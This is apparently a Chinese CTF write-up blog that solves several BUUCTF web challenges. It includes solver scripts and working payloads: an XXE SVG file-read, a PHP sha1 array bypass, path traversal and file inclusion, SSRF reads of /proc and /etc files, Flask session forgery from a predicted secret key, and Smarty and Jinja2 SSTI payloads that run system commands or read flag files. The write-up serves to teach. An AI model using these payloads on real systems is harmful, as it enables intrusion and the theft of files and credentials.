//最近一直在准备四级所以鸽了几天
[GXYCTF2019]StrongestMind
让计算数字,计算一千次给flag
我们需要写一个脚本
import re
import requests
from time import sleep
def count():
s = requests.session()
url = 'http://8699ffc6-ce00-43ea-b361-81b36d756cf2.node4.buuoj.cn:81/'
match = re.compile(r"[0-9]+ [+|-] [0-9]+")
r = s.get(url)
for i in range(1001):
sleep(0.1)
str = match.findall(r.text)[0]
# print(eval(str))
data = {"answer" : eval(str)}
r = s.post(url, data=data)
r.encoding = "utf-8"
print('{} : {}'.format(i,eval(str)))
# print(r.text)
print(r.text)
if __name__ == '__main__':
count()
//flag{9a7eb18b-254e-4b3f-b573-b1d7e3b9a950}
[FireshellCTF2020]Caas
Welcome guest! Please input your code below and we will compile it for you
让我们输入代码,搞不懂啥意思,我们就试试随便输入吧,发现输入后一堆错报
看完hint才发现这是个c编译器,你输入的代码如果没错就会给你下载下来你编译的代码
那么我们要怎末获得flag呢
看网上wp发现还是学的太少了
因为我们c语言编写前都需要
#include <stdio.h>
所以我们试一试包含flag
#include "/flag"
惊奇的发现错报里有flag
flag{76d4c82c-836a-44cf-a1ef-f31d89a5338b}
这题没有想到包含这一点,属实可惜
[BSidesCF 2019]SVGMagic
Convert SVG to PNG with Magic
进去之后是个文件上传的点,附带上面这条英文,翻译一下就是将SVG文件转换为PNG图片然后上传
对于SVG文件了解不是很深
SVG英文全称为Scalable Vector Graphics,意思为可缩放的矢量图形,是一种图像文件格式;SVG是一种用XML定义的语言,可以用来描述二维矢量及矢量或栅格图形
可以知道SVG是XML格式的文件,重要的一点是我们对其中的内容是可控的,可控的话我们就试试要在里面插入什么
试一试XXE漏洞
.svg内容
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
上传直接出了flag,图片形式的flag恶意真的很大
flag{9199fbc8-94bd-4c18-8660-a5df97b237ac}
[极客大挑战 2020]Roamphp1-Welcome
进去什么都没有,F12也啥都没有,怀疑是传参方式出问题了
所以我们bp改一下发包方式
之后就能看见源码了
<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
header("HTTP/1.1 405 Method Not Allowed");
exit();
} else {
if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){
show_source(__FILE__);
}
else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){
phpinfo(); // collect information from phpinfo!
}
}
一眼数组绕过传个参
roam1[]=1&roam2[]=0
进入phpinfo搜flag
flag{a7d608db-514e-412d-8c46-13b170a32106}
题目很简单,记录这个是因为觉得开头转换传参方式是个不错的出题思路
[SUCTF 2018]annonymous
进去后便是代码
<?php
$MY = create_function("","die(`cat flag.php`);");
//创建一个$MY的匿名函数,函数的作用是输出flag
//匿名函数其实是有真正的名字,为%00lambda_%d(%d格式化为当前进程的第n个匿名函数,n的范围0-999)
$hash = bin2hex(openssl_random_pseudo_bytes(32));
//生成一个随机数
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
//创建$hash会在eval函数中。与SUCTF拼接。形成一个新的函数名
要想拿到flag就只有调用SUCTF_XXXX随机数的函数名。或者直接调用$MY
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
// bin2hex()函数把ASCII字符的字符串转换为十六进制值
}
show_source(__FILE__);
create_function()函数在创建之后会生成一个函数名为:%00lambda_%d
%d
是持续递增的,这里的%d
会一直递增到最大长度直到结束,通过大量的请求来迫使Pre-fork
模式启动
Apache启动新的线程,这样这里的%d
会刷新为1,就可以预测了
Apache-prefork模型(默认模型)在接受请求后会如何处理,首先Apache会默认生成5个child server去等待用户连接, 默认最高可生成256个child server, 这时候如果用户大量请求, Apache就会在处理完MaxRequestsPerChild个tcp连接后kill掉这个进程,开启一个新进程处理请求(这里猜测Orange大大应该修改了默认的0,因为0为永不kill掉子进程 这样就无法kill掉旧进程fork新进程了) 在这个新进程里面匿名函数就会是从1开始的了
直接写一个脚本
import requests
while True:
r=requests.get('http://1e28ca4f-5f7c-4e20-964c-f0e017e12d73.node4.buuoj.cn:81/?func_name=%00lambda_1')
if 'flag' in r.text:
print(r.text)
break
print('Testing.......')
[网鼎杯 2020 半决赛]AliceWebsite
打开后一个有几个按钮的页面我们f12看下代码
发现是个action函数传参进行页面跳转的,至此就这一个可利用点
试试跳目录访问
?action=../../../flag
flag{68db3161-ef58-4282-b4de-5cb7dc22ecf7}
其实有种更简单方法
审计源码发现
<?php
$action = (isset($_GET['action']) ? $_GET['action'] : 'home.php');
if (file_exists($action)) {
include $action;
} else {
echo "File not found!";
}
?>
文件包含:?action=/flag
[CISCN2019 华东南赛区]Web4
Hello World! Read somethings
就去就是这个,我们看看跳转到哪里去
跳转到了百度???????
有点意思
/read?url=https://baidu.com
url有点奇怪,但尝试了很久没发现啥,看wp发现php erl没有这种路由应该是flask存在敏感文件读取
/etc/passwd
用来判断读取漏洞的存在
/etc/environment
是环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况。
/etc/hostname/etc/hostname
表示主机名。
/etc/issue
指明系统版本。
/proc目录
/proc/[pid]查看进程
/proc/self查看当前进程
/proc/self/cmdline当前进程对应的终端命令
/proc/self/pwd程序运行目录
/proc/self/环境变量
/sys/class/net/eth0/address mac地址保存位置
于是我们试着读取一下
读取/proc/self/cmdline
read?url=/proc/self/cmdline
发现app.py
我们接着读取
import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('^file.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m or n:
return 'No Hack'
res = urllib.urlopen(url)
return res.read()
except Exception as ex:
print str(ex)
return 'no response'
@app.route('/flag')
def flag():
if session and session['username'] == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'
if __name__=='__main__':
app.run(
debug=True,
host="0.0.0.0"
)
简单审计一下,观看最后一段,我们要让session=fuck便能读取flag,但flag与file都被过滤了,知识点session伪造,至于怎么伪造还得分析一下
之前做过类似的题,session需要密钥,而密钥的加密方式已经告诉我们了
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
用了uuid.getnode()函数,搜了一下,是将mac地址转换成整数
先读取mac地址
02:42:ac:10:b9:db
生成伪随机数
import random
random.seed(0x0242ac10b9db)
print(str(random.random()*233))
87.10381153912127
之后先抓个包,发现session值
session=eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.YaoNHA.O2qrJs7Nizm2ziAyYgTArA-E-xo
被三个点分割,首先第一个base64解码一下(需要自己加=)
{"username":{" b":"d3d3LWRhdGE="}}
d3d3LWRhdGE=
就是www.data
中间是时间戳,最后面是安全签名
我们接着构造session,用之前的脚本
python C:\Users\XINO\Desktop\flask_session.py encode -s '87.10381153912127' -t "{'username': b'fuck'}"
运行完后
eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.Yaoaag.6zJhFPGJ2d0JmpKGdqTnOqQdPNI
改session即可
[CISCN2019 华东南赛区]Web11
今天偶尔一个比赛了解了一下smarty ssti
特地找个题加深一下
smarty是一个php的模板引擎,提供让程序逻辑与页面显示代码(css/html)分离的功能
这里要强调一下smarty模板的几个比较特殊的点
{if}
每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}, 全部的PHP条件表达式和函数都可以在if内使用,如||,or,&&,and,is_array()等
{literal}
php5可用,可以让一个模板区域的字符原样输出,经常用于保护页面上的javascrip或css样式表
这里给大家贴一下常用的payload
{if phpinfo()}{/if}
{if system('ls')}{/if}
{ readfile('/flag') }
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if}
。。。。。。。
我们来看这个题目,进入题目抓包发包可以看到提示,让我们get xff
于是我们就添加一个xff
X-Forwarded-For:{{7*7}}
可以看到有回显
于是我们利用上面提到的payload
X-Forwarded-For:{if show_source('/flag')}{/if}
发包就有flag
flag{bfca71f5-b967-4d89-92a5-44d15ba7b3e6}
至于为什莫要用smarty ssti,因为题目给了提示,往下下面有made by smarty
[pasecactf_2019]flask_ssti
提示flask ssti,而且进入有个输入框,于是我们测试
发现提交不了麻了,找了小原因发现是没有连接到在线JQuery库
第二天又做的
比如提交{{7*7}}
回显了49说明存在ssti,但是周围有很多奇怪的符号,怀疑过滤了啥,用平常的payload的打发现确实过滤了,试了一下发现’过滤,然后想到上个月hectf有个可以用16进制转换的题,于是试一下
将下面内容转化为16进制
__class__:\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f
__base__:\x5f\x5f\x62\x61\x73\x65\x5f\x5f
__subclasses__:\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f
payload
{{[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()}}
调用<class '_frozen_importlib_external.FileLoader'>
{{[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[91]["\x67\x65\x74\x5f\x64\x61\x74\x61"](0,"/proc/self/cmdline")}}
读app.py
{{[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[91]["\x67\x65\x74\x5f\x64\x61\x74\x61"](0,"app\x2epy")}}
发现flag位置
{{[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[91]["\x67\x65\x74\x5f\x64\x61\x74\x61"](0,"/proc/self/fd/3")}}